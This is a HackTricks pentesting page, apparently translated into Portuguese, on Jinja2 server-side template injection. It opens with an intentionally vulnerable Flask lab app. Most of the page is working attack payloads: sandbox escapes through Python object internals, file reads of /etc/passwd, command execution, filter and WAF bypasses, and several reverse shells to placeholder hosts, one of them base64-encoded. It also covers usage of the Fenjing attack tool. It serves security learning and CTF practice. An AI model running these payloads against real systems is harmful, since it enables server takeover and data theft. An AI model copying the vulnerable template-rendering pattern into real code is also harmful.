hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

339 lines
15 KiB
Markdown
Raw Normal View History

2023-08-29 18:57:50 +00:00
# Jinja2 SSTI
2022-07-20 01:03:41 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-06 18:56:34 +00:00
<details>
2023-06-06 18:56:34 +00:00
<summary>Support HackTricks</summary>
2022-07-20 01:03:41 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2023-06-06 18:56:34 +00:00
</details>
{% endhint %}
2023-08-29 18:57:50 +00:00
## **Lab**
2022-07-20 01:03:41 +00:00
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
2022-07-20 01:03:41 +00:00
if __name__ == "__main__":
app.run()
2022-07-20 01:03:41 +00:00
```
## **Vários**
### **Declaração de Depuração**
2023-08-29 18:57:50 +00:00
Se a Extensão de Depuração estiver ativada, uma tag `debug` estará disponível para despejar o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para usar no template sem configurar um depurador.
2022-07-20 01:03:41 +00:00
```python
<pre>
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% debug %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2024-04-06 19:38:49 +00:00
2022-07-20 01:03:41 +00:00
</pre>
```
### **Despejar todas as variáveis de configuração**
2022-07-20 01:03:41 +00:00
```python
{{ config }} #In these object you can find all the configured env variables
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
2022-11-05 10:28:41 +00:00
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
2022-07-20 01:03:41 +00:00
{% endfor %}
{% endraw %}
2024-04-06 19:38:49 +00:00
2022-07-20 01:03:41 +00:00
```
## **Injeção Jinja**
2024-04-06 19:38:49 +00:00
Primeiro de tudo, em uma injeção Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo de execução regular do python. Para fazer isso, você precisa **abusar de objetos** que são **do** **ambiente não sandboxed, mas são acessíveis a partir do sandbox**.
2022-07-20 01:03:41 +00:00
### Acessando Objetos Globais
2023-08-29 18:57:50 +00:00
Por exemplo, no código `render_template("hello.html", username=username, email=email)` os objetos username e email **vêm do ambiente python não sandboxed** e serão **acessíveis** dentro do **ambiente sandboxed.**\
Além disso, existem outros objetos que estarão **sempre acessíveis a partir do ambiente sandboxed**, estes são:
2022-07-20 01:03:41 +00:00
```
[]
''
()
dict
config
request
```
### Recuperando \<class 'object'>
2023-08-29 18:57:50 +00:00
Então, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente python não isolado**.
2022-07-20 01:03:41 +00:00
Para acessar essa **classe objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **após** alcançar essa **classe objeto**, nós **chamamos** **`__subclasses__()`**.
2024-04-06 19:38:49 +00:00
Confira estes exemplos:
2022-07-20 01:03:41 +00:00
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
2022-07-20 01:03:41 +00:00
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
2022-07-20 01:03:41 +00:00
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
2023-08-29 18:57:50 +00:00
**Após ter recuperado** `<class 'object'>` e chamado `__subclasses__`, agora podemos usar essas classes para ler e escrever arquivos e executar código.
2022-07-20 01:03:41 +00:00
A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de novas funções**, ficaremos felizes apenas em acessar a **classe de arquivo** para **ler/escrever arquivos** ou qualquer classe com acesso a uma classe que **permite executar comandos** (como `os`).
2022-07-20 01:03:41 +00:00
2023-06-06 18:56:34 +00:00
**Ler/Escrever arquivo remoto**
2022-07-20 01:03:41 +00:00
```python
2022-11-05 10:28:41 +00:00
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
2022-07-20 01:03:41 +00:00
```
**RCE**
2022-07-20 01:03:41 +00:00
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
2024-04-06 19:38:49 +00:00
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
2022-09-09 11:57:02 +00:00
# Calling os.popen without guessing the index of the class
2022-07-20 01:03:41 +00:00
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
2022-09-09 11:57:02 +00:00
2024-04-06 19:38:49 +00:00
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
```
2023-06-06 18:56:34 +00:00
Para aprender sobre **mais classes** que você pode usar para **escapar**, você pode **verificar**:
2022-07-20 01:03:41 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Bypasses de filtro
2022-07-20 01:03:41 +00:00
#### Bypasses comuns
2022-07-20 01:03:41 +00:00
Esses bypass permitirão que nós **acessamos** os **atributos** dos objetos **sem usar alguns caracteres**.\
Já vimos alguns desses bypass nos exemplos anteriores, mas vamos resumi-los aqui:
2022-07-20 01:03:41 +00:00
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
2024-04-06 19:38:49 +00:00
2022-07-20 01:03:41 +00:00
```
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#accessing-global-objects)
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
2023-08-29 18:57:50 +00:00
**Evitando a codificação HTML**
2023-08-29 18:57:50 +00:00
Por padrão, o Flask codifica HTML dentro de um template por razões de segurança:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que seja **codificado em HTML**, assim:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE escrevendo um arquivo de configuração malicioso.**
2022-07-20 01:03:41 +00:00
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
2022-07-20 01:03:41 +00:00
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
2022-07-20 01:03:41 +00:00
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Sem vários caracteres
2022-07-20 01:03:41 +00:00
2023-06-06 18:56:34 +00:00
Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
2023-02-23 14:32:10 +00:00
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
2024-04-06 19:38:49 +00:00
2023-02-23 14:32:10 +00:00
```
## Jinja Injection sem **\<class 'object'>**
2023-08-29 18:57:50 +00:00
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects) há outra maneira de chegar a **RCE sem usar essa classe.**\
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí o **RCE** é muito **simples**.
2023-08-29 18:57:50 +00:00
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e qualquer **outro** **objeto global** interessante ao qual você tenha acesso com:
2022-07-20 01:03:41 +00:00
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
Uma vez que você tenha encontrado algumas funções, você pode recuperar os builtins com:
2022-07-20 01:03:41 +00:00
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
2024-04-06 19:38:49 +00:00
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) é uma ferramenta especializada em CTFs, mas também pode ser útil para forçar parâmetros inválidos em um cenário real. A ferramenta apenas espalha palavras e consultas para detectar filtros, buscando por bypasses, e também fornece um console interativo.
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Referências
2022-07-20 01:03:41 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Confira [o truque de atributo para contornar caracteres na lista negra aqui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
2022-07-20 01:03:41 +00:00
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-07-20 01:03:41 +00:00
<details>
<summary>Suporte ao HackTricks</summary>
2022-07-20 01:03:41 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-07-20 01:03:41 +00:00
</details>
{% endhint %}